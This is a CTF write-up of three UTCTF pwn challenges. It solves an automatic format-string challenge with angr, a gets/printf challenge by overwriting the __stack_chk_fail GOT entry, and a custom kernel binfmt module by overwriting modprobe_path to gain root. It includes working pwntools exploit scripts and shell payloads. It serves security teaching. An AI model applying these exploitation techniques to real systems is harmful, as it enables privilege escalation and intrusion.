1Now with printf!2
3By Tristan (@trab on discord)4nc pwn.utctf.live 5002
I really like automatic exploit generation. I did the one in last year’s UTCTF and in general they are some of my favorite challenges. So of course as soon as I heard there was one here I went straight for it.
1❯ nc pwn.utctf.live 50022You will be given 10 randomly generated binaries.3You have 60 seconds to solve each one.4Solve the binary by making it exit with the given exit code5Press enter when you're ready for the first binary.6...xxd blob7
8Binary should exit with code 230
The first step is to scope out the provided binary. What’s the general sort of attack we’re doing, how do different binaries differ, etc.
1void main(void)2
3{4 long lVar1;5 undefined8 *puVar2;6 long in_FS_OFFSET;7 undefined8 local_218;8 undefined8 local_210;9 undefined8 local_208 [63];10 undefined8 local_10;11
12 local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);13 local_218 = 0;14 local_210 = 0;15 puVar2 = local_208;16 for (lVar1 = 0x3e; lVar1 != 0; lVar1 = lVar1 + -1) {17 *puVar2 = 0;18 puVar2 = puVar2 + 1;19 }20 *(undefined2 *)puVar2 = 0;21 fgets((char *)&local_218,0x202,stdin);22 permute(&local_218);23 printf((char *)&local_218);24 /* WARNING: Subroutine does not return */25 exit(exit_code);26}
It’s a pretty clear format string vulnerability and it exits using a global variable “exit_code” as an argument.
There isn’t even PIE, so with stack control and a format string vulnerability it should be pretty straightforward to use %n to write whatever we want to exit_code.
Unfortunately…
1void permute(undefined8 param_1)2
3{4 permute5(param_1);5 permute3(param_1);6 permute6(param_1);7 permute1(param_1);8 permute4(param_1);9 permute7(param_1);10 permute2(param_1);11 permute8(param_1);12 return;13}
Any input we provide gets shuffled up so what gets passed to printf is completely different than what gets provided via stdin. A quick check of a new binary shows that this all gets shuffled about when a new binary is generated. How do we resolve this?
Well I hate work so I just used angr to magic up a solution lol. All you need to do to solve this is make a format string payload, explore to find a state at the printf invocation, apply some constraints on memory, and then boom you can just ask for the stdin that fits those constraints. It’s really quite disgusting that it’s this easy.
1import angr, argparse2from pwn import *3from claripy import *4import os5from subprocess import check_output6from pwn import *7
8r = remote("pwn.utctf.live", 5002)9
10r.sendline()11r.recvuntil("binary.\n")12for i in range(10):13 log.info(f"trying round {i}")14 with open("tmp.xxd", "wb") as f:15 f.write(r.recvuntil("\n\n"))16 os.system("xxd -rp tmp.xxd > binary.tmp")17
18 r.recvuntil(b"Binary should exit with code ")19 exit_code = int(r.recvline().rstrip())20 log.info(f"attempting to call exit({exit_code})")21 exe = ELF("./binary.tmp")22 p = angr.Project("./binary.tmp")23
24 state = p.factory.blank_state()25 simgr = p.factory.simgr(state, save_unconstrained=True)26
27
28 # lmao this is genuinely disgusting29 printf_caller_addr = int(check_output("objdump -Mintel -D ./binary.tmp | rg \"call.*?printf@plt\"",shell=True).decode().lstrip().split(":")[0], 16)16 collapsed lines
30
31
32 payload = f"%{exit_code}c%10$n\x00"33 simgr.explore(find=printf_caller_addr)34 for i in simgr.found:35 i.add_constraints(i.memory.load(i.regs.rdi,len(payload)) == payload)36 i.add_constraints(i.memory.load(i.regs.rdi+16,8) == p64(exe.symbols['exit_code']))37 if i.satisfiable():38 log.info("sat!")39 else:40 log.error("oop not sat :(")41 exit(0)42
43 r.send(i.posix.dumps(0))44 r.recvuntil(f"{exit_code}\n")45r.interactive()
I went to run it on the server… only to find that it took too long. Averaged something like 80 seconds on my laptop and the server times out at 60 seconds per binary. I was a little scared that I wouldn’t be able to get it fast enough to solve but a little investigation found that pypy is actually a significant improvement for angr runtimes. I tried running it with pypy and sure enough it cut my average execution time to 40 seconds, comfortably fast enough to solve it.
utflag{you_mix_me_right_round_baby_right_round135799835}
1You can have a little overflow, as a treat2
3By Tristan (@trab on discord)4nc pwn.utctf.live 5004
1undefined8 main(void)2
3{4 char cVar1;5 int iVar2;6 ulong uVar3;7 char *pcVar4;8 long in_FS_OFFSET;9 byte bVar5;10 char local_158 [111];11 undefined4 uStack233;12 undefined2 uStack229;13 char local_78 [104];14 long local_10;15
16 bVar5 = 0;17 local_10 = *(long *)(in_FS_OFFSET + 0x28);18 puts("What kind of data do you have?");19 gets(local_158);20 iVar2 = strcmp(local_158,"big data");21 if (iVar2 == 0) {22 uVar3 = 0xffffffffffffffff;23 pcVar4 = (char *)((long)&uStack233 + 1);24 do {25 if (uVar3 == 0) break;26 uVar3 = uVar3 - 1;27 cVar1 = *pcVar4;28 pcVar4 = pcVar4 + (ulong)bVar5 * -2 + 1;29 } while (cVar1 != '\0');31 collapsed lines
30 *(undefined4 *)((long)&uStack233 + ~uVar3) = 0x30322025;31 *(undefined2 *)((long)&uStack229 + ~uVar3) = 0x73;32 }33 else {34 iVar2 = strcmp(local_158,"smol data");35 if (iVar2 == 0) {36 uVar3 = 0xffffffffffffffff;37 pcVar4 = (char *)((long)&uStack233 + 1);38 do {39 if (uVar3 == 0) break;40 uVar3 = uVar3 - 1;41 cVar1 = *pcVar4;42 pcVar4 = pcVar4 + (ulong)bVar5 * -2 + 1;43 } while (cVar1 != '\0');44 *(undefined4 *)((long)&uStack233 + ~uVar3) = 0x73352025;45 *(undefined *)((long)&uStack229 + ~uVar3) = 0;46 }47 else {48 puts("Error");49 }50 }51 puts("Give me your data");52 gets(local_78);53 printf((char *)((long)&uStack233 + 1),local_78);54 putchar(10);55 if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {56 /* WARNING: Subroutine does not return */57 __stack_chk_fail();58 }59 return 0;60}
The big takeaway I get from this is that it’s vulnerable as fuck. Multiple gets calls, and a sus printf. A naive overflow can’t exploit this because of the canary but we also have a printf which uses a stack string as the format string. This is unimaginably suspicious to me because honestly no good reason why it shouldn’t be an unwritable constant string. A little investigation on how it gets populated (in two conditional blocks, branched based on strcmp) shows that if neither of those strcmp calls match then the stack string is uninitialized.
At this point the general structure of the attack is clear
__stack_chk_fail
to a ret gadget1#!/usr/bin/env python32
3from pwn import *4
5exe = ELF("./smol_patched")6
7context.binary = exe8
9
10def conn():11 if args.LOCAL:12 r = process([exe.path])13 if args.GDB:14 gdb.attach(r)15 else:16 r = remote("pwn.utctf.live", 5004)17 return r18
19
20def main():21 r = conn()22 payload = fmtstr_payload(20, {exe.got['__stack_chk_fail']: next(exe.search(b'\xc3'))})23 r.sendline(b"A" * 112 + payload)24 r.sendline(b"A" * 120 + p64(exe.symbols['get_flag']))25
26 # good luck pwning :)27
28 r.interactive()29
3 collapsed lines
30
31if __name__ == "__main__":32 main()
utflag{just_a_little_salami15983350}
1I've created a new binary format. Unlike ELF, it has no bloat. It just consists of a virtual address to store the data at, then 248 bytes of data. However, when I tried to contribute it back to the mainline kernel they all called my submission "idiotic", and "wildly unsafe". They just cant recognize the next generation of Linux binaries.2
3Login with username bloat and no password4
5By Tristan (@trab on discord)6nc pwn.utctf.live 5003
”wildly unsafe” is a great sign xd. “A virtual address to store data and then 248 bytes of data” really screams arbitrary write to me. There isn’t a lot of complexity to hide vulnerability so I suspected it would be the obvious one — unchecked virtual address to copy the remainder of the data to. A quick look at run.sh shows that flag.txt is mounted as /dev/sda but that we’ll need root to read it.
Let’s pop open the rootfs and see what can be found.
1mkdir rootfs2cd rootfs3gzip -cd ../rootfs.cpio.gz | cpio -idmv
Poking around, there’s a pretty good amount of stuff here (a minimal linux installation) but we know more or less that we’re looking for a kernel module and so we quickly find /lib/modules/5.15.0/extra/bloat.ko
. Let’s open it up!
1int load_bloat_binary(long param_1)2
3{4 ulong *puVar1;5 undefined *puVar2;6 int iVar3;7 byte *pbVar4;8 undefined *puVar5;9 undefined *puVar6;10 long lVar7;11 undefined8 uVar8;12 byte *pbVar9;13 int iVar10;14 long in_GS_OFFSET;15 bool bVar11;16 bool bVar12;17 byte bVar13;18
19 bVar13 = 0;20 pbVar4 = (byte *)strrchr(*(char **)(param_1 + 0x60),L'.');21 bVar11 = false;22 bVar12 = pbVar4 == (byte *)0x0;23 if (!bVar12) {24 lVar7 = 7;25 pbVar9 = (byte *)".bloat";26 do {27 if (lVar7 == 0) break;28 lVar7 = lVar7 + -1;29 bVar11 = *pbVar4 < *pbVar9;53 collapsed lines
30 bVar12 = *pbVar4 == *pbVar9;31 pbVar4 = pbVar4 + (ulong)bVar13 * -2 + 1;32 pbVar9 = pbVar9 + (ulong)bVar13 * -2 + 1;33 } while (bVar12);34 if ((!bVar11 && !bVar12) == bVar11) {35 lVar7 = generic_file_llseek(*(undefined8 *)(param_1 + 0x40),0,2);36 generic_file_llseek(*(undefined8 *)(param_1 + 0x40),0,0);37 if (lVar7 < 0x101) {38 iVar3 = begin_new_exec(param_1);39 if (iVar3 != 0) {40 return iVar3;41 }42 puVar1 = *(ulong **)(¤t_task + in_GS_OFFSET);43 *(undefined4 *)(puVar1 + 0x6f) = 0;44 set_binfmt(bloat_fmt);45 setup_new_exec(param_1);46 puVar2 = *(undefined **)(param_1 + 0xa0);47 uVar8 = 0x7ffffffff000;48 *(undefined **)(puVar1[0x62] + 0xf0) = puVar2;49 *(long *)(puVar1[0x62] + 0xf8) = *(long *)(puVar1[0x62] + 0xf0) + lVar7;50 if (((*puVar1 & 0x20000000) != 0) &&51 (uVar8 = 0xc0000000, (*(byte *)((long)puVar1 + 0x37b) & 8) == 0)) {52 uVar8 = 0xffffe000;53 }54 iVar3 = setup_arg_pages(param_1,uVar8,0);55 if (iVar3 != 0) {56 return iVar3;57 }58 vm_mmap(0,puVar2,0x100,7,0x12,0);59 __put_user_1();60 iVar10 = (int)lVar7;61 iVar3 = 0x100;62 if (iVar10 < 0x101) {63 iVar3 = iVar10;64 }65 if (8 < iVar10) {66 puVar5 = puVar2;67 do {68 puVar6 = puVar5 + 1;69 *puVar5 = puVar5[(param_1 - (long)puVar2) + 0xa8];70 puVar5 = puVar6;71 } while ((8 - (int)puVar2) + (int)puVar6 < iVar3);72 }73 finalize_exec(param_1);74 start_thread(*(long *)(*(long *)(¤t_task + in_GS_OFFSET) + 0x20) + 0x3f58,puVar2,75 *(undefined8 *)76 (*(long *)(*(long *)(¤t_task + in_GS_OFFSET) + 0x310) + 0x120));77 return 0;78 }79 }80 }81 return -8;82}
Ahahahahaha it’s literally just that. It maps some RWX memory, copies the bytes from the rest of the file, and then executes. Unfortunately userspace code execution just won’t do it so we need to do some kernel funny business to become root. All of this behavior happens as a binfmt handler which triggers for any file named “.bloat”.
I spent a good amount of time researching — I’ve never actually done kernel exploitation before. I liked this challenge a lot for being rather easy but enough to sorta take the edge off my fear of kernel exploitation. After a while I found a blog post on modprobe_path exploitation which immediately looked quite promising.
Turns out there is a nice “modprobe_path” symbol in the kernel which points to an executable. This executable gets called whenever you try and execute a binary that has no handler. I assume there is a reason but idk why. Good thing for me since this was super easy.
This challenge was actually even easier than the challenge that blog post went over! We have true arbitrary write and no kaslr so all I needed to do was grab the address of modprobe_path from /proc/kallsyms and then write a brief payload to overwrite it with my own script to run as root
1from pwn import *2
3modprobe_path = p64(0xffffffff82038180)4payload = p64(modprobe_path)5payload += b"/tmp/x\x00"6
7print(payload)
1echo -ne "\x80\x81\x03\x82\xff\xff\xff\xff/tmp/x\x00" > .bloat2echo -ne "#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag" > x3echo -ne "\xff\xff\xff\xff" > dummy4chmod +x ./bloat5./bloat6./dummy7
8cat flag9utflag{oops_forgot_to_use_put_user283558318}